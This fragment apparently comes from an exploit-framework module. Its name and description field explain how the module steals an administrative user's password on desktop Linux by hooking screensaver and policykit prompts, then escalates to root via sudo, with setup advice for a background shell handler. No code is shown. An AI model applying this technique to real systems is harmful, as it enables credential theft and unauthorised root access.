      'Name'          => 'Desktop Linux Password Stealer and Privilege Escalation',
      'Description'   => %q{
        This module steals the user password of an administrative user on a desktop Linux system
        when it is entered for unlocking the screen or for doing administrative actions using
        policykit. Then it escalates to root privileges using sudo and the stolen user password.
        It exploits the design weakness that there is no trusted channell for transferring the
        password from the keyboard to the actual password verificatition against the shadow file
        (which is running as root since /etc/shadow is only readable to the root user). Both
        screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under
        the current user account to query for the password and then pass it to a setuid-root binary
        to do the password verification. Therefore it is possible to inject a password stealer
        after compromising the user account. Since sudo requires only the user password (and not
        the root password of the system), stealing the user password of an administrative user
        directly allows escalating to root privileges. Please note that you have to start a handler
        as a background job before running this exploit since the exploit will only create a shell
        when the user actually enters the password (which may be hours after launching the exploit).
        Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
